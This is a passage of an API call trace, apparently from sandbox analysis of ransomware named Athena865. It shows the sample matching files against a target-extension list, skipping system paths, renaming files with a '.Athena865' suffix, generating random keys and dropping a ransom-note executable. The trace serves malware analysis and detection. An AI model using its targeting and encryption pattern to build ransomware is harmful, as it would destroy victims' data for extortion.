(lpString1="EST", lpString2="mas") returned -1 [0082.965] lstrlenW (lpString="mav") returned 3 [0082.965] lstrcmpiW (lpString1="EST", lpString2="mav") returned -1 [0082.965] lstrlenW (lpString="maw") returned 3 [0082.965] lstrcmpiW (lpString1="EST", lpString2="maw") returned -1 [0082.965] lstrlenW (lpString="mdbhtml") returned 7 [0082.965] lstrcmpiW (lpString1="ANIFEST", lpString2="mdbhtml") returned -1 [0082.965] lstrlenW (lpString="mdn") returned 3 [0082.965] lstrcmpiW (lpString1="EST", lpString2="mdn") returned -1 [0082.965] lstrlenW (lpString="mdt") returned 3 [0082.965] lstrcmpiW (lpString1="EST", lpString2="mdt") returned -1 [0082.965] lstrlenW (lpString="mfd") returned 3 [0082.965] lstrcmpiW (lpString1="EST", lpString2="mfd") returned -1 [0082.966] lstrlenW (lpString="mpd") returned 3 [0082.966] lstrcmpiW (lpString1="EST", lpString2="mpd") returned -1 [0082.966] lstrlenW (lpString="mrg") returned 3 [0082.966] lstrcmpiW (lpString1="EST", lpString2="mrg") returned -1 [0082.966] lstrlenW (lpString="mud") returned 3 [0082.966] lstrcmpiW (lpString1="EST", lpString2="mud") returned -1 [0082.966] lstrlenW (lpString="mwb") returned 3 [0082.966] lstrcmpiW (lpString1="EST", lpString2="mwb") returned -1 [0082.966] lstrlenW (lpString="myd") returned 3 [0082.966] lstrcmpiW (lpString1="EST", lpString2="myd") returned -1 [0082.966] lstrlenW (lpString="ndf") returned 3 [0082.966] lstrcmpiW (lpString1="EST", lpString2="ndf") returned -1 [0082.966] lstrlenW (lpString="nnt") returned 3 [0082.966] lstrcmpiW (lpString1="EST", lpString2="nnt") returned -1 [0082.966] lstrlenW (lpString="nrmlib") returned 6 [0082.966] lstrcmpiW (lpString1="NIFEST", lpString2="nrmlib") returned -1 [0082.966] lstrlenW (lpString="ns2") returned 3 [0082.966] lstrcmpiW (lpString1="EST", lpString2="ns2") returned -1 [0082.966] lstrlenW (lpString="ns3") returned 3 [0082.966] lstrcmpiW (lpString1="EST", lpString2="ns3") returned -1 [0082.966] lstrlenW (lpString="ns4") returned 3 [0082.966] lstrcmpiW (lpString1="EST", lpString2="ns4") returned -1 [0082.966] lstrlenW (lpString="nsf") returned 3 [0082.966] lstrcmpiW (lpString1="EST", lpString2="nsf") returned -1 [0082.966] lstrlenW (lpString="nv") returned 2 [0082.966] lstrcmpiW (lpString1="ST", lpString2="nv") returned 1 [0082.966] lstrlenW (lpString="nv2") returned 3 [0082.966] lstrcmpiW (lpString1="EST", lpString2="nv2") returned -1 [0082.966] lstrlenW (lpString="nwdb") returned 4 [0082.966] lstrcmpiW (lpString1="FEST", lpString2="nwdb") returned -1 [0082.966] lstrlenW (lpString="nyf") returned 3 [0082.966] lstrcmpiW (lpString1="EST", lpString2="nyf") returned -1 [0082.966] lstrlenW (lpString="odb") returned 3 [0082.966] lstrcmpiW (lpString1="EST", lpString2="odb") returned -1 [0082.967] lstrlenW (lpString="odb") returned 3 [0082.967] lstrcmpiW (lpString1="EST", lpString2="odb") returned -1 [0082.967] lstrlenW (lpString="oqy") returned 3 [0082.967] lstrcmpiW (lpString1="EST", lpString2="oqy") returned -1 [0082.967] lstrlenW (lpString="ora") returned 3 [0082.967] lstrcmpiW (lpString1="EST", lpString2="ora") returned -1 [0082.967] lstrlenW (lpString="orx") returned 3 [0082.967] lstrcmpiW (lpString1="EST", lpString2="orx") returned -1 [0082.967] lstrlenW (lpString="owc") returned 3 [0082.967] lstrcmpiW (lpString1="EST", lpString2="owc") returned -1 [0082.967] lstrlenW (lpString="p96") returned 3 [0082.967] lstrcmpiW (lpString1="EST", lpString2="p96") returned -1 [0082.967] lstrlenW (lpString="p97") returned 3 [0082.967] lstrcmpiW (lpString1="EST", lpString2="p97") returned -1 [0082.967] lstrlenW (lpString="pan") returned 3 [0082.967] lstrcmpiW (lpString1="EST", lpString2="pan") returned -1 [0082.967] lstrlenW (lpString="pdb") returned 3 [0082.967] lstrcmpiW (lpString1="EST", lpString2="pdb") returned -1 [0082.967] lstrlenW (lpString="pdm") returned 3 [0082.967] lstrcmpiW (lpString1="EST", lpString2="pdm") returned -1 [0082.967] lstrlenW (lpString="pnz") returned 3 [0082.967] lstrcmpiW (lpString1="EST", lpString2="pnz") returned -1 [0082.967] lstrlenW (lpString="qry") returned 3 [0082.967] lstrcmpiW (lpString1="EST", lpString2="qry") returned -1 [0082.967] lstrlenW (lpString="qvd") returned 3 [0082.967] lstrcmpiW (lpString1="EST", lpString2="qvd") returned -1 [0082.967] lstrlenW (lpString="rbf") returned 3 [0082.967] lstrcmpiW (lpString1="EST", lpString2="rbf") returned -1 [0082.967] lstrlenW (lpString="rctd") returned 4 [0082.967] lstrcmpiW (lpString1="FEST", lpString2="rctd") returned -1 [0082.967] lstrlenW (lpString="rod") returned 3 [0082.967] lstrcmpiW (lpString1="EST", lpString2="rod") returned -1 [0082.967] lstrlenW (lpString="rodx") returned 4 [0082.968] lstrcmpiW (lpString1="FEST", lpString2="rodx") returned -1 [0082.968] lstrlenW (lpString="rpd") returned 3 [0082.968] lstrcmpiW (lpString1="EST", lpString2="rpd") returned -1 [0082.968] lstrlenW (lpString="rsd") returned 3 [0082.968] lstrcmpiW (lpString1="EST", lpString2="rsd") returned -1 [0082.968] lstrlenW (lpString="sas7bdat") returned 8 [0082.968] lstrcmpiW (lpString1="MANIFEST", lpString2="sas7bdat") returned -1 [0082.968] lstrlenW (lpString="sbf") returned 3 [0082.968] lstrcmpiW (lpString1="EST", lpString2="sbf") returned -1 [0082.968] lstrlenW (lpString="scx") returned 3 [0082.968] lstrcmpiW (lpString1="EST", lpString2="scx") returned -1 [0082.968] lstrlenW (lpString="sdb") returned 3 [0082.968] lstrcmpiW (lpString1="EST", lpString2="sdb") returned -1 [0082.968] lstrlenW (lpString="sdc") returned 3 [0082.968] lstrcmpiW (lpString1="EST", lpString2="sdc") returned -1 [0082.968] lstrlenW (lpString="sdf") returned 3 [0082.968] lstrcmpiW (lpString1="EST", lpString2="sdf") returned -1 [0082.968] lstrlenW (lpString="sis") returned 3 [0082.968] lstrcmpiW (lpString1="EST", lpString2="sis") returned -1 [0082.968] lstrlenW (lpString="spq") returned 3 [0082.968] lstrcmpiW (lpString1="EST", lpString2="spq") returned -1 [0082.968] lstrlenW (lpString="te") returned 2 [0082.968] lstrcmpiW (lpString1="ST", lpString2="te") returned -1 [0082.968] lstrlenW (lpString="teacher") returned 7 [0082.968] lstrcmpiW (lpString1="ANIFEST", lpString2="teacher") returned -1 [0082.968] lstrlenW (lpString="tmd") returned 3 [0082.968] lstrcmpiW (lpString1="EST", lpString2="tmd") returned -1 [0082.968] lstrlenW (lpString="tps") returned 3 [0082.968] lstrcmpiW (lpString1="EST", lpString2="tps") returned -1 [0082.968] lstrlenW (lpString="trc") returned 3 [0082.968] lstrcmpiW (lpString1="EST", lpString2="trc") returned -1 [0082.968] lstrlenW (lpString="trc") returned 3 [0082.968] lstrcmpiW (lpString1="EST", lpString2="trc") returned -1 [0082.969] lstrlenW (lpString="trm") returned 3 [0082.969] lstrcmpiW (lpString1="EST", lpString2="trm") returned -1 [0082.969] lstrlenW (lpString="udb") returned 3 [0082.969] lstrcmpiW (lpString1="EST", lpString2="udb") returned -1 [0082.969] lstrlenW (lpString="udl") returned 3 [0082.969] lstrcmpiW (lpString1="EST", lpString2="udl") returned -1 [0082.969] lstrlenW (lpString="usr") returned 3 [0082.969] lstrcmpiW (lpString1="EST", lpString2="usr") returned -1 [0082.969] lstrlenW (lpString="v12") returned 3 [0082.969] lstrcmpiW (lpString1="EST", lpString2="v12") returned -1 [0082.969] lstrlenW (lpString="vis") returned 3 [0082.969] lstrcmpiW (lpString1="EST", lpString2="vis") returned -1 [0082.969] lstrlenW (lpString="vpd") returned 3 [0082.969] lstrcmpiW (lpString1="EST", lpString2="vpd") returned -1 [0082.969] lstrlenW (lpString="vvv") returned 3 [0082.969] lstrcmpiW (lpString1="EST", lpString2="vvv") returned -1 [0082.969] lstrlenW (lpString="wdb") returned 3 [0082.969] lstrcmpiW (lpString1="EST", lpString2="wdb") returned -1 [0082.969] lstrlenW (lpString="wmdb") returned 4 [0082.969] lstrcmpiW (lpString1="FEST", lpString2="wmdb") returned -1 [0082.969] lstrlenW (lpString="wrk") returned 3 [0082.969] lstrcmpiW (lpString1="EST", lpString2="wrk") returned -1 [0082.969] lstrlenW (lpString="xdb") returned 3 [0082.969] lstrcmpiW (lpString1="EST", lpString2="xdb") returned -1 [0082.969] lstrlenW (lpString="xld") returned 3 [0082.969] lstrcmpiW (lpString1="EST", lpString2="xld") returned -1 [0082.969] lstrlenW (lpString="xmlff") returned 5 [0082.969] lstrcmpiW (lpString1="IFEST", lpString2="xmlff") returned -1 [0082.969] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.MANIFEST.Athena865") returned 73 [0082.969] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.MANIFEST" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.MANIFEST.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe.manifest.athena865"), dwFlags=0x1) returned 1 [0082.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.MANIFEST.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe.manifest.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0082.971] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1206) returned 1 [0082.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0082.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0082.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0082.972] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0082.972] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0082.972] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.973] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c0, lpName=0x0) returned 0x154 [0082.974] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c0) returned 0x100000 [0082.975] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0082.976] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0082.976] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0082.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0082.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0082.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0082.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0082.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0082.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0082.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0082.977] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0082.977] CloseHandle (hObject=0x154) returned 1 [0082.977] CloseHandle (hObject=0x17c) returned 1 [0082.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0082.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0082.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0082.977] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OutlookAutoDiscover", cAlternateFileName="OUTLOO~1")) returned 1 [0082.977] lstrcmpiW (lpString1="OutlookAutoDiscover", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0082.977] lstrcmpiW (lpString1="OutlookAutoDiscover", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0082.977] lstrcmpiW (lpString1="OutlookAutoDiscover", lpString2=".") returned 1 [0082.977] lstrcmpiW (lpString1="OutlookAutoDiscover", lpString2="..") returned 1 [0082.977] lstrcmpiW (lpString1="OutlookAutoDiscover", lpString2="windows") returned -1 [0082.977] lstrcmpiW (lpString1="OutlookAutoDiscover", lpString2="bootmgr") returned 1 [0082.977] lstrcmpiW (lpString1="OutlookAutoDiscover", lpString2="temp") returned -1 [0082.977] lstrcmpiW (lpString1="OutlookAutoDiscover", lpString2="pagefile.sys") returned -1 [0082.977] lstrcmpiW (lpString1="OutlookAutoDiscover", lpString2="boot") returned 1 [0082.977] lstrcmpiW (lpString1="OutlookAutoDiscover", lpString2="ids.txt") returned 1 [0082.978] lstrcmpiW (lpString1="OutlookAutoDiscover", lpString2="ntuser.dat") returned 1 [0082.978] lstrcmpiW (lpString1="OutlookAutoDiscover", lpString2="perflogs") returned -1 [0082.978] lstrcmpiW (lpString1="OutlookAutoDiscover", lpString2="MSBuild") returned 1 [0082.978] lstrlenW (lpString="OutlookAutoDiscover") returned 19 [0082.978] lstrcpyW (in: lpString1=0x241e89e, lpString2="OutlookAutoDiscover" | out: lpString1="OutlookAutoDiscover") returned="OutlookAutoDiscover" [0082.978] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b708 [0082.978] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x519090 [0082.978] lstrcatW (in: lpString1="OutlookAutoDiscover", lpString2="\\" | out: lpString1="OutlookAutoDiscover\\") returned="OutlookAutoDiscover\\" [0082.978] lstrcatW (in: lpString1="OutlookAutoDiscover\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="OutlookAutoDiscover\\HOW TO BACK YOUR FILES.exe") returned="OutlookAutoDiscover\\HOW TO BACK YOUR FILES.exe" [0082.978] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\how to back your files.exe"), bFailIfExists=1) returned 1 [0082.994] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x59a53950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x5f190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1 [0082.994] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0082.994] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0082.994] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2=".") returned 1 [0082.994] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="..") returned 1 [0082.994] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="windows") returned -1 [0082.994] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="bootmgr") returned 1 [0082.994] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="temp") returned -1 [0082.994] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="pagefile.sys") returned -1 [0082.994] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="boot") returned 1 [0082.994] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="ids.txt") returned 1 [0082.994] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="ntuser.dat") returned 1 [0082.994] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="perflogs") returned -1 [0082.994] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="MSBuild") returned 1 [0082.995] lstrlenW (lpString="OUTLPH.DLL") returned 10 [0082.995] lstrcpyW (in: lpString1=0x241e89e, lpString2="OUTLPH.DLL" | out: lpString1="OUTLPH.DLL") returned="OUTLPH.DLL" [0082.995] lstrlenW (lpString="OUTLPH.DLL") returned 10 [0082.995] lstrlenW (lpString="Athena865") returned 9 [0082.995] lstrcmpiW (lpString1="UTLPH.DLL", lpString2="Athena865") returned 1 [0082.995] lstrlenW (lpString=".dll") returned 4 [0082.995] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2=".dll") returned 1 [0082.995] lstrlenW (lpString=".lnk") returned 4 [0082.995] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2=".lnk") returned 1 [0082.995] lstrlenW (lpString=".ini") returned 4 [0082.995] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2=".ini") returned 1 [0082.995] lstrlenW (lpString=".sys") returned 4 [0082.995] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2=".sys") returned 1 [0082.995] lstrlenW (lpString="OUTLPH.DLL") returned 10 [0082.995] lstrlenW (lpString="bak") returned 3 [0082.995] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0082.995] lstrlenW (lpString="ba_") returned 3 [0082.995] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0082.995] lstrlenW (lpString="dbb") returned 3 [0082.995] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0082.995] lstrlenW (lpString="vmdk") returned 4 [0082.995] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0082.995] lstrlenW (lpString="rar") returned 3 [0082.995] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0082.995] lstrlenW (lpString="zip") returned 3 [0082.995] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0082.995] lstrlenW (lpString="tgz") returned 3 [0082.995] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0082.995] lstrlenW (lpString="vbox") returned 4 [0082.995] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0082.995] lstrlenW (lpString="vdi") returned 3 [0082.996] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0082.996] lstrlenW (lpString="vhd") returned 3 [0082.996] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0082.996] lstrlenW (lpString="vhdx") returned 4 [0082.996] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0082.996] lstrlenW (lpString="avhd") returned 4 [0082.996] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0082.996] lstrlenW (lpString="db") returned 2 [0082.996] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0082.996] lstrlenW (lpString="db2") returned 3 [0082.996] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0082.996] lstrlenW (lpString="db3") returned 3 [0082.996] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0082.996] lstrlenW (lpString="dbf") returned 3 [0082.996] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0082.996] lstrlenW (lpString="mdf") returned 3 [0082.996] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0082.996] lstrlenW (lpString="mdb") returned 3 [0082.996] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0082.996] lstrlenW (lpString="sql") returned 3 [0082.996] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0082.996] lstrlenW (lpString="sqlite") returned 6 [0082.996] lstrcmpiW (lpString1="PH.DLL", lpString2="sqlite") returned -1 [0082.996] lstrlenW (lpString="sqlite3") returned 7 [0082.996] lstrcmpiW (lpString1="LPH.DLL", lpString2="sqlite3") returned -1 [0082.996] lstrlenW (lpString="sqlitedb") returned 8 [0082.996] lstrcmpiW (lpString1="TLPH.DLL", lpString2="sqlitedb") returned 1 [0082.996] lstrlenW (lpString="xml") returned 3 [0082.996] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0082.996] lstrlenW (lpString="$er") returned 3 [0082.996] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0082.996] lstrlenW (lpString="4dd") returned 3 [0082.996] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0082.996] lstrlenW (lpString="4dl") returned 3 [0082.997] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0082.997] lstrlenW (lpString="^^^") returned 3 [0082.997] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0082.997] lstrlenW (lpString="abs") returned 3 [0082.997] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0082.997] lstrlenW (lpString="abx") returned 3 [0082.997] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0082.997] lstrlenW (lpString="accdb") returned 5 [0082.997] lstrcmpiW (lpString1="H.DLL", lpString2="accdb") returned 1 [0082.997] lstrlenW (lpString="accdc") returned 5 [0082.997] lstrcmpiW (lpString1="H.DLL", lpString2="accdc") returned 1 [0082.997] lstrlenW (lpString="accde") returned 5 [0082.997] lstrcmpiW (lpString1="H.DLL", lpString2="accde") returned 1 [0082.997] lstrlenW (lpString="accdr") returned 5 [0082.997] lstrcmpiW (lpString1="H.DLL", lpString2="accdr") returned 1 [0082.997] lstrlenW (lpString="accdt") returned 5 [0082.997] lstrcmpiW (lpString1="H.DLL", lpString2="accdt") returned 1 [0082.997] lstrlenW (lpString="accdw") returned 5 [0082.997] lstrcmpiW (lpString1="H.DLL", lpString2="accdw") returned 1 [0082.997] lstrlenW (lpString="accft") returned 5 [0082.997] lstrcmpiW (lpString1="H.DLL", lpString2="accft") returned 1 [0082.997] lstrlenW (lpString="adb") returned 3 [0082.997] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0082.997] lstrlenW (lpString="adb") returned 3 [0082.997] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0082.997] lstrlenW (lpString="ade") returned 3 [0082.997] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0082.997] lstrlenW (lpString="adf") returned 3 [0082.997] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0082.997] lstrlenW (lpString="adn") returned 3 [0082.997] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0082.997] lstrlenW (lpString="adp") returned 3 [0082.997] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0082.997] lstrlenW (lpString="alf") returned 3 [0082.998] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0082.998] lstrlenW (lpString="ask") returned 3 [0082.998] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0082.998] lstrlenW (lpString="btr") returned 3 [0082.998] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0082.998] lstrlenW (lpString="cat") returned 3 [0082.998] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0082.998] lstrlenW (lpString="cdb") returned 3 [0082.998] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0082.998] lstrlenW (lpString="ckp") returned 3 [0082.998] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0082.998] lstrlenW (lpString="cma") returned 3 [0082.998] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0082.998] lstrlenW (lpString="cpd") returned 3 [0082.998] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0082.998] lstrlenW (lpString="dacpac") returned 6 [0082.998] lstrcmpiW (lpString1="PH.DLL", lpString2="dacpac") returned 1 [0082.998] lstrlenW (lpString="dad") returned 3 [0082.998] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0082.998] lstrlenW (lpString="dadiagrams") returned 10 [0082.998] lstrlenW (lpString="daschema") returned 8 [0082.998] lstrcmpiW (lpString1="TLPH.DLL", lpString2="daschema") returned 1 [0082.998] lstrlenW (lpString="db-journal") returned 10 [0082.998] lstrlenW (lpString="db-shm") returned 6 [0082.998] lstrcmpiW (lpString1="PH.DLL", lpString2="db-shm") returned 1 [0082.998] lstrlenW (lpString="db-wal") returned 6 [0082.998] lstrcmpiW (lpString1="PH.DLL", lpString2="db-wal") returned 1 [0082.998] lstrlenW (lpString="dbc") returned 3 [0082.998] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0082.998] lstrlenW (lpString="dbs") returned 3 [0082.998] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0082.999] lstrlenW (lpString="dbt") returned 3 [0082.999] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0082.999] lstrlenW (lpString="dbv") returned 3 [0082.999] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0082.999] lstrlenW (lpString="dbx") returned 3 [0082.999] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0082.999] lstrlenW (lpString="dcb") returned 3 [0082.999] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0082.999] lstrlenW (lpString="dct") returned 3 [0082.999] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0082.999] lstrlenW (lpString="dcx") returned 3 [0082.999] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0082.999] lstrlenW (lpString="ddl") returned 3 [0082.999] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0082.999] lstrlenW (lpString="dlis") returned 4 [0082.999] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0082.999] lstrlenW (lpString="dp1") returned 3 [0082.999] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0082.999] lstrlenW (lpString="dqy") returned 3 [0082.999] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0082.999] lstrlenW (lpString="dsk") returned 3 [0082.999] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0082.999] lstrlenW (lpString="dsn") returned 3 [0082.999] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0082.999] lstrlenW (lpString="dtsx") returned 4 [0082.999] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0082.999] lstrlenW (lpString="dxl") returned 3 [0082.999] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0082.999] lstrlenW (lpString="eco") returned 3 [0082.999] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0082.999] lstrlenW (lpString="ecx") returned 3 [0082.999] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0083.000] lstrlenW (lpString="edb") returned 3 [0083.000] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0083.000] lstrlenW (lpString="epim") returned 4 [0083.000] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0083.000] lstrlenW (lpString="fcd") returned 3 [0083.000] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0083.000] lstrlenW (lpString="fdb") returned 3 [0083.000] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0083.000] lstrlenW (lpString="fic") returned 3 [0083.000] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0083.000] lstrlenW (lpString="flexolibrary") returned 12 [0083.000] lstrlenW (lpString="fm5") returned 3 [0083.000] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0083.000] lstrlenW (lpString="fmp") returned 3 [0083.000] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0083.000] lstrlenW (lpString="fmp12") returned 